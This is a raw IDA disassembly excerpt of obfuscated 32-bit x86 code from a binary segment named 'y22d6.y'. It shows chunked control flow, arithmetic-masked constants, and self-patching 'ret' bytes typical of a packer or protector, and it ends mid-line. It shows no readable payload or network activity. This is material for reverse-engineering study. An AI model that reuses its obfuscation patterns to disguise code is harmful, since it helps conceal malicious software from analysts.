FUNCTION CHUNK AT 00442F7E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00443D51 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00444228 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004450E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447C58 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448CF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A635 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AEFF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044B414 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044BD9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D834 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E1F2 SIZE 00000005 BYTES js loc_4386D2 xchg ebx, [esp+0] jmp loc_441A3A sub_4475B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41E040 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_4475C7: ; CODE XREF: sub_447268+7j jmp loc_43B88E ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_4475CC: ; CODE XREF: y22d6.y.:loc_442044j ; sub_44AEDA:loc_44C8A8j ... jnz loc_442049 pop edx mov eax, [esp+4+var_4] push edx jmp loc_445E82 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- loc_4475DC: ; CODE XREF: y22d6.y.:loc_43A139j pop esi add esi, 0DC5421CCh xor esi, 335B60Ch cmp esi, 78921C04h jmp loc_437647 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_4475F4: ; CODE XREF: sub_44B635:loc_44D676j or ecx, 719899C7h cmp ecx, 0EEC1FED9h jmp loc_43BF0C ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_447605: ; CODE XREF: sub_44A095-C028j push 3DFEACh pop edi xor edi, ds:4000E7h add edi, 96CA1F55h xor edi, 0E05932E7h add edi, ebp add edi, 1BDA3FF7h jmp loc_43AA7E ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_44762A: ; CODE XREF: sub_4452EE+6045j and eax, edx loc_44762C: ; CODE XREF: sub_4452EE:loc_43EFA0j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_443C34 jmp loc_438DE1 ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_44763D: ; CODE XREF: sub_439407+8905j cdq loc_44763E: ; CODE XREF: sub_439407:loc_449937j push 6740D136h pop eax rol eax, 3 xor eax, 0B2084D3Bh add eax, ebp add eax, 77F13B74h mov eax, [eax] jmp near ptr dword_437434+1Ah ; END OF FUNCTION CHUNK FOR sub_439407 ; --------------------------------------------------------------------------- test edi, esi jmp loc_44739F ; =============== S U B R O U T I N E ======================================= sub_447663 proc near ; CODE XREF: y22d6.y.:00439E84j ; y22d6.y.:0043BB0Ap ; FUNCTION CHUNK AT 00437A77 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00440B49 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00449B4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C5EC SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0EA8D353Eh pop eax and eax, 23757225h test eax, 2000h jmp loc_44C5EC sub_447663 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_44767E: ; CODE XREF: sub_444541-C815j call sub_43CA1A push edx push 3511C77Ch xchg esi, [esp+4+var_4] mov edx, esi pop esi rol edx, 8 sub edx, 3BD7EA2Eh jmp loc_43C850 ; END OF FUNCTION CHUNK FOR sub_444541 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44769E: ; CODE XREF: sub_448EB6:loc_4427A0j jno loc_447D2C mov eax, [esp-8+arg_4] push edx call sub_44C758 mov eax, 8D800AAh push offset sub_43D59A jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- popf sub eax, 0BBE6451Ch ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4476C3: ; CODE XREF: sub_448EB6-89AFj jmp sub_437236 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_4476C8: ; CODE XREF: sub_44AEDA-CEE1j add eax, ecx pop ecx mov [ebp-1Ch], eax mov eax, [ebp-1Ch] mov eax, [eax] push edx push 47E60CCAh jmp loc_443693 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; =============== S U B R O U T I N E ======================================= sub_4476DE proc near ; CODE XREF: sub_44A768+3p ; y22d6.y.:0044C18Fj ; FUNCTION CHUNK AT 00440B8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BBA3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044D12B SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx call sub_44A46F push 1B66E427h pop eax or eax, 9403DEA0h xor eax, 0ED083A9Dh jmp loc_44D12B sub_4476DE endp ; =============== S U B R O U T I N E ======================================= sub_4476FF proc near ; CODE XREF: y22d6.y.:0043A168p ; y22d6.y.:004470A4j xchg esi, [esp+0] pop esi push edx push 3C59A1D4h pop edx sub_4476FF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44770A: ; CODE XREF: sub_44B1D2-13C4Cj jmp loc_44D155 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_44770F: ; CODE XREF: y22d6.y.:0044A209j rol edx, 0Dh shr ecx, 1 shl ebp, 0Ah mov edx, ecx jmp loc_43E64D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_44771E: ; CODE XREF: sub_43DB23-35B3j sub ebx, 472AFE2Ah rol ebx, 1Ch add ebx, 0E75C9B41h mov [ebx], eax call sub_43C74D ; END OF FUNCTION CHUNK FOR sub_43DB23 ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_447734: ; CODE XREF: sub_43E7BF+2517j jmp loc_447E4C ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_447739: ; CODE XREF: sub_4383E0+4DB5j js loc_447C85 xor ebx, 68F9418h and esi, ecx loc_447747: ; CODE XREF: sub_4383E0:loc_44B970j mov eax, [esp-4+arg_0] push eax push eax push 69F9AD9Eh pop eax jmp loc_44C2B5 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_447757: ; CODE XREF: sub_440280+A24Ej adc esi, 0B623429Bh test ebx, 0EFE42C47h jmp loc_447A35 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_447768: ; CODE XREF: sub_43BCA9+41D0j push dword ptr [ebp-10h] push edx push 6642CAE1h pop edx jmp loc_43B943 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_447777: ; CODE XREF: sub_44AEDA:loc_43BB66j or edx, 0C383C15Fh xor ebp, esi jmp loc_44CE57 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FF1B loc_447784: ; CODE XREF: sub_43FF1B+4466j add esi, 147E8468h push offset loc_43E072 jmp loc_441656 ; END OF FUNCTION CHUNK FOR sub_43FF1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_447794: ; CODE XREF: sub_438B66:loc_44C254j jge loc_43EC28 jmp loc_444B3C ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44779F: ; CODE XREF: sub_43B7D4:loc_44C5F2j mov al, [eax] jno loc_43A1E6 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_43C497 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- popf jmp sub_438B39 ; --------------------------------------------------------------------------- mov esp, ebp pop ebp push ds:dword_44659C retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA87 loc_4477C5: ; CODE XREF: sub_44DA87+Cj pop eax push offset sub_438A6F jmp loc_43B329 ; END OF FUNCTION CHUNK FOR sub_44DA87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4477D0: ; CODE XREF: sub_448EB6:loc_43B6C2j jnz loc_4427A8 jmp loc_44A7CD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- jb loc_43806D jmp sub_442FA7 ; =============== S U B R O U T I N E ======================================= sub_4477E6 proc near ; CODE XREF: sub_4432B8-ECAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438BAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439AF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439E96 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043EB3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044108A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00442476 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0044B658 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C773 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C913 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044E4EF SIZE 0000000D BYTES push ebx push 765CA31Eh pop ebx loc_4477ED: ; CODE XREF: sub_44057E:loc_43EE3Bj sub ebx, 3916E166h add ebx, 3C2AA8C0h cmp ebx, 3A982964h jmp loc_44C773 sub_4477E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_447804: ; CODE XREF: sub_43B98D:loc_43BF56j mov byte ptr [eax], 0C3h jmp loc_4424FD ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_44780C: ; CODE XREF: y22d6.y.:00447287j mov eax, [esp] push edx call sub_43BE66 jmp loc_4436AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44781A: ; CODE XREF: sub_444D95+Aj mov eax, [ebp-4] cmp byte ptr [eax], 0CFh loc_447820: ; CODE XREF: sub_43B7B5:loc_43B749j jz loc_43A39A mov eax, [ebp-4] jmp loc_437C4D ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B196 loc_44782E: ; CODE XREF: sub_44B196:loc_44B19Cj mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_4465AC[eax*4], 0 jmp loc_437C38 ; END OF FUNCTION CHUNK FOR sub_44B196 ; =============== S U B R O U T I N E ======================================= sub_447841 proc near ; DATA XREF: sub_442DA6-3B8Co var_4 = dword ptr -4 push edi push 0E8D96818h pop edi xor edi, 0A29FFA6Ch add edi, 0B5FD2077h xchg edi, [esp+4+var_4] jmp sub_44A9DF sub_447841 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44785C: ; CODE XREF: sub_440280+1DF5j rol ebp, 13h jl loc_44CFB3 loc_447865: ; CODE XREF: sub_440280:loc_438AEAj push 2133AA1Fh pop eax sub eax, 0E27FC6DDh or eax, 0D908130Eh jmp loc_438040 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_44787C: ; CODE XREF: sub_43EC1C-21CFj or ecx, edx jmp loc_448DDE ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- sub ebx, esi or eax, 0F0843EFFh jmp sub_44A22A ; --------------------------------------------------------------------------- loc_447890: ; CODE XREF: y22d6.y.:0043A955j add ecx, 6AF742D7h ; =============== S U B R O U T I N E ======================================= sub_447896 proc near ; CODE XREF: sub_43E39Ep arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0044240E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00442658 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00444517 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446510 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044657A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044A676 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044CED2 SIZE 0000000F BYTES xchg edi, [esp+0] pop edi js loc_44A676 jmp loc_44CED2 sub_447896 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4478A5: ; CODE XREF: y22d6.y.:loc_442287j lea eax, nullsub_19 mov byte ptr [eax], 0C3h jmp nullsub_19 ; --------------------------------------------------------------------------- pop edx ; START OF FUNCTION CHUNK FOR sub_441F08 loc_4478B4: ; CODE XREF: sub_441F08:loc_44C406j mov eax, [esp+0] push eax jmp loc_43AE81 ; END OF FUNCTION CHUNK FOR sub_441F08 ; =============== S U B R O U T I N E ======================================= sub_4478BD proc near ; DATA XREF: y22d6.y.:004486DFo xchg eax, [esp+0] mov edi, eax pop eax lea eax, nullsub_315 mov byte ptr [eax], 0C3h jmp nullsub_315 sub_4478BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- jbe loc_43CE22 jmp loc_441FB4 ; --------------------------------------------------------------------------- mov ebp, [edi] jmp loc_444697 ; --------------------------------------------------------------------------- jg loc_43B0A5 jmp sub_44415C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4478EF: ; CODE XREF: sub_448EB6-962j jmp loc_445373 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_4478F4: ; CODE XREF: sub_44A359-47E8j jmp loc_443CDE ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_4478F9: ; CODE XREF: sub_44B489:loc_447091j and edx, 5AD98DD1h cmp eax, ecx jmp loc_43BCD8 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_447906: ; CODE XREF: sub_44A53A:loc_44550Ej ; sub_43C712:loc_445528j or esi, 6DEF0ABDh and esi, 0ABBF6717h xor esi, 0A1B7DF1h add esi, 4BE336C5h jmp loc_442021 ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- loc_447923: ; DATA XREF: sub_442060+8334o add esi, 4EDA2FBFh mov [esi], eax pop esi mov eax, [ebp-4] mov al, [eax] jo loc_43A033 sub al, 99h jmp loc_44710B ; --------------------------------------------------------------------------- loc_44793E: ; CODE XREF: y22d6.y.:0043CB3Aj add esi, edi ; =============== S U B R O U T I N E ======================================= sub_447940 proc near ; CODE XREF: sub_43BEF7-3241p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043941D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043AC83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C4D0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043DACE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444306 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00445269 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00447AD9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044B2B8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044E2D8 SIZE 00000005 BYTES xchg esi, [esp-4+arg_0] pop esi push 0F93C2h jmp loc_43DACE sub_447940 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4414E8 loc_44794F: ; CODE XREF: sub_4414E8+Aj jmp loc_44322F ; END OF FUNCTION CHUNK FOR sub_4414E8 ; --------------------------------------------------------------------------- loc_447954: ; CODE XREF: y22d6.y.:0043EF72j ; y22d6.y.:0044A121j add ecx, 0D578C760h and ecx, 1D82A443h rol ecx, 13h add ecx, 411DF3h mov [ecx], eax pop ecx jmp loc_4413EC ; --------------------------------------------------------------------------- loc_447971: ; CODE XREF: y22d6.y.:0043B9ACj jge loc_4435AC loc_447977: ; CODE XREF: y22d6.y.:00446FCFj jmp loc_44CC25 ; --------------------------------------------------------------------------- loc_44797C: ; CODE XREF: y22d6.y.:0043FF46j jmp loc_448DF3 ; --------------------------------------------------------------------------- and eax, ecx or edx, 3EC05B0h jmp loc_448DA0 ; =============== S U B R O U T I N E ======================================= sub_44798E proc near ; CODE XREF: sub_445194+Aj ; FUNCTION CHUNK AT 0043B73B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00442F3B SIZE 00000005 BYTES push ebx push 25AB6757h pop ebx sub ebx, 6A492626h jmp loc_442F3B sub_44798E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_4479A0: ; CODE XREF: sub_440280-59D5j jg loc_4434BF mov ecx, 7ED24A4Ch loc_4479AB: ; CODE XREF: y22d6.y.:loc_438464j push 0 push edi jmp loc_4474AE ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445362 loc_4479B3: ; CODE XREF: sub_445362-7094j jz loc_44A751 sbb eax, 6E2EE35h jmp loc_43B749 ; END OF FUNCTION CHUNK FOR sub_445362 ; --------------------------------------------------------------------------- loc_4479C4: ; CODE XREF: y22d6.y.:loc_44C937j sub al, 99h push 9142B9AEh ; START OF FUNCTION CHUNK FOR sub_43E81B loc_4479CB: ; CODE XREF: sub_43E81B:loc_43B07Dj pop edx jmp loc_43A371 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- popf jmp sub_444822 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4479D7: ; CODE XREF: sub_4432B8+2E0j ; sub_44371A+6541j jz loc_43F2AF jmp loc_43D298 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_4479E2: ; CODE XREF: y22d6.y.:0044A6A2j push 1813D681h xchg edi, [esp] mov eax, edi pop edi rol eax, 5 add eax, 1B5B54F5h sub eax, 0D326134Eh jmp loc_445718 ; =============== S U B R O U T I N E ======================================= sub_447A01 proc near ; CODE XREF: sub_44B81B:loc_43737Fp ; y22d6.y.:0043B9EEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004394AC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043DD02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C024 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx push 0BF2BDDCBh pop esi jmp loc_43DD02 sub_447A01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_447A10: ; CODE XREF: y22d6.y.:loc_44DD7Bj movzx eax, byte ptr [eax] mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4465AC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz loc_43D4F4 jmp loc_43D011 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_447A35: ; CODE XREF: sub_440280+74E3j jnz nullsub_166 add ebx, eax loc_447A3D: ; CODE XREF: y22d6.y.:004377ABj jmp loc_44BA63 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_447A42: ; CODE XREF: sub_44E5C7-BBADj jnz loc_43AFAB jmp loc_444BA4 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_447A4D: ; CODE XREF: sub_44BCC2-133E7j jnz loc_43B0D8 loc_447A53: ; CODE XREF: y22d6.y.:0044B72Bj jmp loc_43D3B5 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- jmp locret_43B8A7 ; --------------------------------------------------------------------------- mov ebx, ebp jmp loc_43B0CF ; --------------------------------------------------------------------------- loc_447A64: ; DATA XREF: y22d6.y.:004403D4o call sub_44A9DF ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_447A69: ; CODE XREF: sub_44DB81:loc_44A915j or eax, eax jnz loc_4380DB jmp loc_445F7D ; END OF FUNCTION CHUNK FOR sub_44DB81 ; =============== S U B R O U T I N E ======================================= sub_447A76 proc near ; DATA XREF: y22d6.y.:loc_44131Bo lea eax, nullsub_46 mov byte ptr [eax], 0C3h jmp nullsub_46 sub_447A76 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_447A84: ; CODE XREF: sub_444541:loc_43C1DFj mov eax, [esp-4+arg_0] push esi mov esi, edx jmp loc_44A743 ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_447A8F: ; CODE XREF: sub_44D7E0-5BABj jnz locret_43B3E5 loc_447A95: ; CODE XREF: sub_44D7E0:loc_440A72j mov eax, [esp+0] push edx push 0C33A4E40h jmp loc_43D657 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- mov eax, 201E933Eh call sub_43CA1A push edi push 773A412Ah jmp loc_44A46A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_447AB8: ; CODE XREF: sub_4428C2+732Cj pop edx or edx, 55DE0AD6h and edx, 6BE8F614h add edx, 9C5B0FEAh xchg edx, [esp+4+var_4] jmp loc_43EF67 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4436DB loc_447AD4: ; CODE XREF: sub_4436DB:loc_4436ECj jmp loc_43B4F2 ; END OF FUNCTION CHUNK FOR sub_4436DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_447AD9: ; CODE XREF: sub_447940:loc_43DACEj xchg eax, [esp+0] not edx jmp loc_445269 ; END OF FUNCTION CHUNK FOR sub_447940 ; =============== S U B R O U T I N E ======================================= sub_447AE3 proc near ; DATA XREF: sub_43C17E-4E80o mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 jnz loc_44E3DD mov eax, [ebp+8] push offset sub_43D025 jmp nullsub_102 sub_447AE3 endp ; --------------------------------------------------------------------------- mov edx, 64EFA9EDh call sub_44D293 push eax ror eax, 15h mov ds:dword_44198C, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4387EA loc_447B12: ; CODE XREF: sub_4387EA+Cj rol eax, 15h jmp sub_44DF22 ; END OF FUNCTION CHUNK FOR sub_4387EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_447B1A: ; CODE XREF: sub_43A58D+5497j ; y22d6.y.:0044DE47j rol ebx, 1 jb loc_43F73E add edi, 0BAB7B57h shl edi, 0Ah jmp loc_43F736 ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_447B30: ; CODE XREF: sub_439051-1281j push 63E85BEFh pop edx and edx, 951DD015h add edx, 47931E09h jmp loc_441360 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- push ecx jmp loc_44D45E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_447B4D: ; CODE XREF: sub_44E5C7:loc_44CD60j rol eax, 8 or eax, 9354E5h add eax, 0F60708C1h add eax, ebp add eax, 0EC459F56h mov eax, [eax] jmp loc_438A28 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440A88 loc_447B6B: ; CODE XREF: sub_440A88+Fj lea eax, nullsub_341 mov byte ptr [eax], 0C3h jmp loc_441984 ; END OF FUNCTION CHUNK FOR sub_440A88 ; --------------------------------------------------------------------------- loc_447B79: ; CODE XREF: y22d6.y.:004445C8j mov eax, [esp] push esi mov esi, edx xchg esi, [esp] push ecx push 74C62727h jmp loc_43DCB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_447B8D: ; CODE XREF: sub_44B1D2:loc_43FBABj adc eax, ecx sbb ecx, 0E3387251h loc_447B95: ; CODE XREF: sub_44271A:loc_44ABBEj push 256A93AEh pop eax xor eax, 0B64B1075h and eax, 8738F989h sub eax, 0BA81351h jmp loc_437753 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; =============== S U B R O U T I N E ======================================= sub_447BB2 proc near ; CODE XREF: sub_444E14:loc_43D33Fp ; y22d6.y.:00444AA5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043E360 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044184C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442827 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004445BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444887 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0044B291 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044B34F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044E280 SIZE 00000018 BYTES xchg eax, [esp+4+var_4] pop eax xor eax, 4A70CD9Fh jmp loc_442827 sub_447BB2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_447BC1: ; CODE XREF: sub_44271Aj mov eax, ds:dword_439048 or eax, eax jnz loc_437EC7 jmp loc_441BD8 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_447BD4: ; CODE XREF: sub_44B635-14586j push 0D027840Fh xchg ebp, [esp+8+var_8] mov ecx, ebp pop ebp jmp loc_44D676 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- loc_447BE4: ; CODE XREF: y22d6.y.:00441CCEj jp loc_440279 jnz loc_44A12C jmp sub_443BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_447BF5: ; CODE XREF: sub_43B98D+F8A3j jge loc_438648 loc_447BFB: ; CODE XREF: y22d6.y.:0043B37Aj jmp loc_44C468 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- popf jmp loc_438646 ; --------------------------------------------------------------------------- mov eax, 3195933h call sub_444581 mov ds:off_41E200, eax lea eax, sub_444427 mov byte ptr [eax], 0C3h jmp loc_439628 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_447C24: ; CODE XREF: sub_444427j xchg edi, [esp+4+var_4] jmp loc_449910 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_447C2C: ; CODE XREF: sub_44D7E0-CD68j cdq adc esi, eax test esi, 0B35D47ABh jmp loc_447A8F ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- mov ds:off_41E088, eax lea eax, loc_446405 mov byte ptr [eax], 0C3h jmp loc_4374B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_447C4E: ; CODE XREF: sub_438A94:loc_446405j pop edx mov eax, [esp+0] push edi jmp loc_43D639 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_447C58: ; CODE XREF: sub_4475B3:loc_43B702j ; y22d6.y.:00440AF0j xor esi, 96137AE1h call sub_440ABC ; END OF FUNCTION CHUNK FOR sub_4475B3 ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_447C63: ; CODE XREF: sub_43BEF7+EE20j mov eax, [eax] call sub_44D5B4 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; START OF FUNCTION CHUNK FOR sub_442C0C loc_447C6A: ; CODE XREF: sub_442C0C+1D83j jmp loc_442142 ; END OF FUNCTION CHUNK FOR sub_442C0C ; =============== S U B R O U T I N E ======================================= sub_447C6F proc near ; DATA XREF: sub_448EB6-C39Do var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437663 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043CB09 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043E56B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 